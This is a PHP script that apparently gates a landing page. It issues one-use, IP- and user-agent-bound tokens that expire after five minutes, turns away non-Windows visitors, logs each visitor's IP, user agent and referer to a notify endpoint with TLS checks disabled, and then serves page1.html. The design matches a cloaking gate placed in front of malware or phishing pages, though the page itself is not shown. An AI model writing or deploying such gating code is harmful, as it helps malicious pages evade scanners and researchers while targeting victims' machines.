<?php
define('HMAC_KEY', 'd6f3a6e2b8c94e87b735c1a2d47f5e78');
define('TOKEN_LIFETIME', 300);
define('TOKEN_STORAGE', __DIR__ . '/used-tokens.json');
define('AJAX_SECRET', 's8f7a6s5d4f3a2s1d5f6');

function getClientIP() {
    $headers = ['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','HTTP_CLIENT_IP','REMOTE_ADDR'];
    foreach ($headers as $h) {
        if (!empty($_SERVER[$h])) {
            $ipList = explode(',', $_SERVER[$h]);
            return trim($ipList[0]);
        }
    }
    return $_SERVER['REMOTE_ADDR'];
}

function loadTokens() {
    if (!file_exists(TOKEN_STORAGE)) return [];
    $data = file_get_contents(TOKEN_STORAGE);
    return json_decode($data, true) ?: [];
}

function saveTokens($tokens) {
    file_put_contents(TOKEN_STORAGE, json_encode($tokens, JSON_PRETTY_PRINT));
}

$ip = getClientIP();
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$requestUri = $_SERVER['REQUEST_URI'];

$token = null;
$path = parse_url($requestUri, PHP_URL_PATH);
$base = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\');
if ($base !== '' && $base !== '/') {
    $path = substr($path, strlen($base));
}
$path = ltrim($path, '/');
if (preg_match('#^([a-z0-9]{6})-([0-9]{10})-([a-f0-9]{12})#', $path, $matches)) {
    $token = $matches[0];
}

if (!$token) {
    $random = substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, 6);
    $timestamp = time();
    $data = $random . '-' . $timestamp;
    $hmac = hash_hmac('sha256', $data, HMAC_KEY);
    $token = $random . '-' . $timestamp . '-' . substr($hmac, 0, 12);

    $tokens = loadTokens();
    $tokens[$token] = ['ip' => $ip, 'ua' => $ua, 'ts' => $timestamp];
    saveTokens($tokens);

    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    $basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\');
    $redirectUrl = $protocol . '://' . $host . $basePath . '/' . $token . '/';
    header('Location: ' . $redirectUrl);
    exit;
}

$tokens = loadTokens();
if (!isset($tokens[$token])) {
    http_response_code(403);
    die('Invalid or expired token.');
}
$stored = $tokens[$token];
$now = time();
if ($stored['ip'] !== $ip || $stored['ua'] !== $ua || ($now - $stored['ts']) > TOKEN_LIFETIME) {
    unset($tokens[$token]);
    saveTokens($tokens);
    http_response_code(403);
    die('Access denied.');
}
unset($tokens[$token]);
saveTokens($tokens);

$isWindows = stripos($ua, 'windows') !== false;
if (!$isWindows) {
    header('Location: error.html');
    exit;
}

// Optional server-side visit notification (you can remove if you only want client-side)
$postData = http_build_query([
    'secret'  => AJAX_SECRET,
    'action'  => 'visit',
    'ip'      => $ip,
    'ua'      => $ua,
    'referer' => $_SERVER['HTTP_REFERER'] ?? 'direct'
]);
$notifyUrl = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\') . '/notify.php';
$context = stream_context_create([
    'http' => [
        'method'  => 'POST',
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'content' => $postData,
        'timeout' => 0.5,
        'ignore_errors' => true
    ],
    'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
]);
@file_get_contents($notifyUrl, false, $context);

readfile(__DIR__ . '/page1.html');
exit;